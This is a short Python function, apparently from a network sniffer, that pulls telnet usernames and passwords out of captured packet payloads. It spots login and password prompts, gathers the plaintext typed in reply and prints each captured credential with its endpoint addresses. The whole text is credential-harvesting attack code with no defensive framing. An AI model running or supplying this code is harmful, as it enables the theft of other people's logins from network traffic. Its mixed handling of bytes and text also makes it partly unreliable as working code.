'Catch telnet logins and passwords'

def telnet_logins(self, src_ip_port, dst_ip_port, load, ack, seq):

    global telnet_stream
    msg = None
    if (src_ip_port in telnet_stream):
        try:
            telnet_stream[src_ip_port] += load.decode('utf8')
        except UnicodeDecodeError:
            pass
        if (('\r' in telnet_stream[src_ip_port]) or ('\n' in telnet_stream[src_ip_port])):
            telnet_split = telnet_stream[src_ip_port].split('    ', 1)
            cred_type = telnet_split[0]
            value = telnet_split[1].replace('\r\n', '').replace('\r', '').replace('\n', '')
            msg = ('Telnet    %s:    %s' % (cred_type, value))
            self.printer(src_ip_port, dst_ip_port, msg)
            del telnet_stream[src_ip_port]
    if (len(telnet_stream) > 100):
        telnet_stream.popitem(last=False)
    mod_load = load.lower().strip()
    if (mod_load.endswith('username:') or mod_load.endswith('login:')):
        telnet_stream[dst_ip_port] = 'username    '
    elif mod_load.endswith('password:'):
        telnet_stream[dst_ip_port] = 'password    '
